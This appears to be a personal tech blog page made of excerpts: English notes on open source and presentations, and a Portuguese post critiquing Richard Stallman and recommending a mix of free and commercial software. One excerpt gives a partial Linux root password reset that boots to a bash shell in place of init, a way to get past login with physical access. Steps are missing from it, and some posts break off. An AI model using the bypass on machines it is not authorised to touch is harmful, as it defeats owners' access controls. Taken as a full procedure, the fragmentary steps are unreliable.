While there are religious devotees who believe that the most important role of Open Source is to bankrupt Microsoft, there are many who are not on the Redmond attack squad, however, that talk about Open Source as if it remains somehow discrete, or fundamentally different than other software.
…
…the reality is that from a bits and bytes perspective, open source software is no different than any other. It is code that runs on the machine and hopefully solves a problem and delivers value to the end user. The development model and the pricing model vary, as do issues related to intellectual property and ownership, but at the end of the day it is just software.
…
Open Source software is making the same demands on the marketplace – these technologies are priceless, therefore stop trying to make money them, but instead invest those same dollars in adding value on top of the priceless technology. As a result, freely distributable, standards based, basic technology will be a given, let’s learn innovate on top of it, where the real value, and may I add, margins, will be found.
This kind of article may appeal to clients who are skeptics about Linux fanatics.
So you lost your Linux root password.
No panic. There is a way to reset it:
bash# mount /proc bash# mount -o remount,rw /
Note: If the computer has a BIOS or Bootloader password that you don’t know, you won’t be able to use this technique.
The idea here is to change the default program that is executed to setup all the OS environment, right after the kernel initialization. By default it is /sbin/init, and what we did above is to change it to /bin/bash — a regular shell prompt, a command line.
Here are some presentations that I created and use to deliver in IBM events.
Most charts include speaker notes. They are all in 
Open Document Format (ODF).
I rarely use the full presentations, I select the best charts according to the audience.
I am also founder of the Elektra Initiative, and produced an Elektra Presentation that members of the community use to deliver in Linux events.
See also the articles I have written.
Escrevo artigos que são publicados em mídias diversas como sites, revistas, etc, muitos deles como artigos oficiais da IBM. Esta página leva a todos eles.
Baixando Música da Internet
Internet Music DownloadHá também uma boa quantidade de insights nas apresentações que faço em eventos.
Here is a light document, in the form of a presentation, to help IT architects or sales people to understand High Availability Clusters with Linux:
Start here and follow the links to browse it, download PDF or the original (ODF) file.
There are also excelent presentations and tutorials in the Linux-HA Project website.
Saiu hoje no Estadão uma matéria quase sarcástica sobre Richard Stallman, criador do conceito de Software Livre, lá nos idos dos anos 70.
Sem suas idéias visionárias, sua postura radical, e sua seriedade jurídica, coisas como Linux não existiriam, e Padrões Abertos seria um conceito ligeiramente diferente do que é hoje. Richard Stallman é um cara que mudou o mundo, e suas idéias sobre Software Livre passaram a ter um dimensão maior a ponto de abraçar toda a criação artística, ciência e cultura humana via o Creative Commons (veja este video, e depois este para entender tudo), descendente direto do Software Livre. Tudo em prol de uma cultura livre.
Mas os anos passam, o mundo gira, e parece que ele se afogou num mar de idealismo: para ele, se o usuário não consegue ler e alterar o código fonte do software, ele é prisioneiro desse software. Talvez ele esqueceu que poucas pessoas sabem ler código fonte de um programa de computador, e dessas, a maioria — eu incluso — não tem o menor interesse em lê-lo, muito menos alterá-lo. Estamos mesmo é interessados na liberdade que um software nos dá para vivermos melhor a nossa vida.
Um software que não provê exatamente a funcionalidade que o usuário quer não precisa necessariamente ser mudado por ele. Ou será trocado, ou a pessoa irá de adaptar, porque afinal computador é burro e só sabe fazer aquilo, e ser humano é inteligente.
Software Livre virou moda, mas isso não significa que tudo quanto é SL é bom e resolve os problemas das pessoas e das empresas. Estas por sinal tem se sofisticado cada vez mais a ponto de precisarem de soluções de software mais complexas e mais inovadoras. E essas coisas são geralmente mais encontradas no software de código fonte fechado.
Então quando Software Livre e quando software comercial ?
A resposta é buscar um bom balanço entre ambos com esta fórmula:
A explicação do porquê dessa divisão é longa e está na minha apresentação.
Linux, sendo só um SO, tem enorme afinidade com a infraestrutura, e por isso é uma opção excelente para essa camada.
Entre esses dois polos fica o tal do Middleware, que começa a ter boas opções no mundo livre, concorrendo de frente com produtos da IBM. A regra geral é ir sempre de Middleware comercial porque tem suporte e nível de serviço, que provê paz de espírito. A excessão fica para aplicações departamentais não-críticas nos casos onde o cliente sabe muito bem o que está fazendo com um middleware SL.
O que realmente importa para uma empresa que se preocupa com seu TI é usar produtos, software, hardware que seguem Padrões Abertos – não importando se o código é aberto ou não -, porque só isso é capaz de dar acesso a um mercado competitivo, que provê flexibilidade e poder de escolha – que implica em preços mais baixos.
